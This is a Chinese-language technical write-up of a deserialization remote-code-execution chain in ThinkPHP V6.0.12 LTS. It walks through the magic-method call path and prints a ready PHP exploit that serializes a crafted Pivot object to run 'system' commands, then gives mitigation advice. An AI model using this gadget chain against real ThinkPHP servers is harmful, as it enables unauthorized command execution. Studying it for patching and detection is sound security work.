关于ThinkPHP V6.0.12LTS 反序列化漏洞的二三事
字数 1583 2025-08-26 22:11:15

ThinkPHP V6.0.12 LTS 反序列化漏洞深度分析

漏洞概述

ThinkPHP V6.0.12 LTS版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据触发反序列化操作,最终实现任意代码执行。该漏洞利用了ThinkPHP框架中的多个魔术方法和类之间的交互关系,形成了一条完整的利用链。

漏洞利用链分析

关键魔术方法

在反序列化漏洞中,以下两种魔术方法尤为重要:

  1. __wakeup() - 执行unserialize()时首先调用的函数
  2. __destruct() - 对象被销毁时调用的函数

利用链流程

完整的利用链如下:

  1. 入口点Model::__destruct()
  2. 条件检查Model::save()
  3. 数据更新Model::updateData()
  4. 字段检查Model::checkAllowFields()
  5. 数据库操作Model::db()
  6. 字符串转换:触发__toString()
  7. JSON转换Conversion::toJson()
  8. 数组转换Conversion::toArray()
  9. 属性获取Attribute::getAttr()
  10. 值处理Attribute::getValue()
  11. 最终执行Attribute::getJsonValue()实现RCE

关键代码分析

1. 反序列化入口点

Model类中的__destruct()方法:

public function __destruct() {
    if ($this->lazySave) {
        $this->save();
    }
}

需要设置$this->lazySave = true才能进入利用链。

2. save()方法条件绕过

Model::save()中有两个关键条件需要满足:

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
    return false;
}

需要:

  • $this->isEmpty()返回false → $this->data不为空
  • $this->trigger('BeforeWrite')返回true → $this->withEvent = false

3. updateData()方法分析

protected function updateData(): bool {
    if (false === $this->trigger('BeforeUpdate')) {
        return false;
    }
    $this->checkData();
    $data = $this->getChangedData();
    // ...
    $allowFields = $this->checkAllowFields();
}

需要关注getChangedData()方法:

public function getChangedData(): array {
    $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
        // ...
    });
    return $data;
}

默认情况下$this->force为null,会进入第二种情况。

4. checkAllowFields()方法触发

protected function checkAllowFields(): array {
    if (empty($this->field)) {
        if (!empty($this->schema)) {
            // ...
        } else {
            $query = $this->db();
            $table = $this->table ? $this->table . $this->suffix : $query->getTable();
            // ...
        }
    }
    // ...
}

关键点在于$this->table . $this->suffix的字符串拼接操作,可以触发__toString()魔术方法。

5. __toString()触发链

Conversion类中的相关方法:

public function __toString() {
    return $this->toJson();
}

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string {
    return json_encode($this->toArray(), $options);
}

public function toArray(): array {
    $data = array_merge($this->data, $this->relation);
    foreach ($data as $key => $val) {
        // ...
        $item[$key] = $this->getAttr($key);
    }
    return $item;
}

6. getAttr()和getValue()方法

public function getAttr(string $name) {
    $value = $this->getData($name);
    return $this->getValue($name, $value, $relation);
}

protected function getValue(string $name, $value, $relation = false) {
    if (isset($this->withAttr[$fieldName])) {
        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        } else {
            $closure = $this->withAttr[$fieldName];
            if ($closure instanceof \Closure) {
                $value = $closure($value, $this->data);
            }
        }
    }
    // ...
}

关键点在于$this->withAttr$this->json的可控性,可以实现任意函数调用。

漏洞利用条件

需要控制以下参数:

  1. $this->lazySave = true - 触发save()方法
  2. $this->data不为空 - 绕过isEmpty()检查
  3. $this->exists = true - 进入updateData()分支
  4. $this->withEvent = false - 确保trigger()返回true
  5. $this->table设置为触发__toString()的对象
  6. $this->withAttr$this->json配置为恶意参数

EXP构造

<?php
namespace think {
    abstract class Model {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        
        public function __construct($obj = '') {
            $this->lazySave = true;
            $this->data = ['whoami' => ['whoami']];
            $this->exists = true;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {}
    
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}

防护建议

  1. 升级到最新版本的ThinkPHP
  2. 避免反序列化用户可控的数据
  3. 对魔术方法进行安全审查
  4. 使用白名单机制限制可反序列化的类
  5. 实施输入验证和过滤

总结

该漏洞通过精心构造的序列化数据,利用ThinkPHP框架中多个类的交互关系和魔术方法的调用链,最终实现了任意代码执行。理解这个漏洞需要对PHP反序列化机制和ThinkPHP框架的内部实现有深入的认识。开发人员应当重视反序列化操作的安全性,避免类似漏洞的出现。

ThinkPHP V6.0.12 LTS 反序列化漏洞深度分析 漏洞概述 ThinkPHP V6.0.12 LTS版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据触发反序列化操作,最终实现任意代码执行。该漏洞利用了ThinkPHP框架中的多个魔术方法和类之间的交互关系,形成了一条完整的利用链。 漏洞利用链分析 关键魔术方法 在反序列化漏洞中,以下两种魔术方法尤为重要: __wakeup() - 执行 unserialize() 时首先调用的函数 __destruct() - 对象被销毁时调用的函数 利用链流程 完整的利用链如下: 入口点 : Model::__destruct() 条件检查 : Model::save() 数据更新 : Model::updateData() 字段检查 : Model::checkAllowFields() 数据库操作 : Model::db() 字符串转换 :触发 __toString() JSON转换 : Conversion::toJson() 数组转换 : Conversion::toArray() 属性获取 : Attribute::getAttr() 值处理 : Attribute::getValue() 最终执行 : Attribute::getJsonValue() 实现RCE 关键代码分析 1. 反序列化入口点 Model 类中的 __destruct() 方法: 需要设置 $this->lazySave = true 才能进入利用链。 2. save()方法条件绕过 Model::save() 中有两个关键条件需要满足: 需要: $this->isEmpty() 返回false → $this->data 不为空 $this->trigger('BeforeWrite') 返回true → $this->withEvent = false 3. updateData()方法分析 需要关注 getChangedData() 方法: 默认情况下 $this->force 为null,会进入第二种情况。 4. checkAllowFields()方法触发 关键点在于 $this->table . $this->suffix 的字符串拼接操作,可以触发 __toString() 魔术方法。 5. __ toString()触发链 Conversion 类中的相关方法: 6. getAttr()和getValue()方法 关键点在于 $this->withAttr 和 $this->json 的可控性,可以实现任意函数调用。 漏洞利用条件 需要控制以下参数: $this->lazySave = true - 触发 save() 方法 $this->data 不为空 - 绕过 isEmpty() 检查 $this->exists = true - 进入 updateData() 分支 $this->withEvent = false - 确保 trigger() 返回true $this->table 设置为触发 __toString() 的对象 $this->withAttr 和 $this->json 配置为恶意参数 EXP构造 防护建议 升级到最新版本的ThinkPHP 避免反序列化用户可控的数据 对魔术方法进行安全审查 使用白名单机制限制可反序列化的类 实施输入验证和过滤 总结 该漏洞通过精心构造的序列化数据,利用ThinkPHP框架中多个类的交互关系和魔术方法的调用链,最终实现了任意代码执行。理解这个漏洞需要对PHP反序列化机制和ThinkPHP框架的内部实现有深入的认识。开发人员应当重视反序列化操作的安全性,避免类似漏洞的出现。